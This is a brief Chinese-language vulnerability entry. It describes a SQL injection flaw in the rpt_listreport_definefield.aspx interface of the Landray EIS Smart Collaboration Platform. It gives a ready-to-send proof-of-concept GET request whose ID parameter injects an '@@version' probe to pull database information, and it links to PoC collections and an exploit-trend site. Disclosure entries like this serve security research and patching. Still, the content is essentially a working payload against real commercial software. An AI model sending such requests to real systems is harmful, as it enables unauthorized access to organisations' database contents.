Description
蓝凌EIS智慧协同平台是一款专为企业提供高效协同办公和团队合作的产品。该漏洞存在于 rpt_listreport_definefield.aspx 接口处，由于未对用户输入的SQL语句进行过滤或验证，攻击者可以通过构造恶意请求，利用此漏洞获取数据库敏感信息。
蓝凌EIS智慧协同平台 /SM/rpt_listreport_definefield.aspx SQL 注入漏洞
PoC
GET /SM/rpt_listreport_definefield.aspx?ID=2%20and%201=@@version--+ HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEIS%E6%99%BA%E6%85%A7%E5%8D%8F%E5%90%8C%E5%B9%B3%E5%8F%B0rpt_listreport_definefield.aspx%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/nnn2188185/article/details/136441056
https://cn-sec.com/archives/2544293.html
https://www.ddpoc.com/DVB-2024-6327.html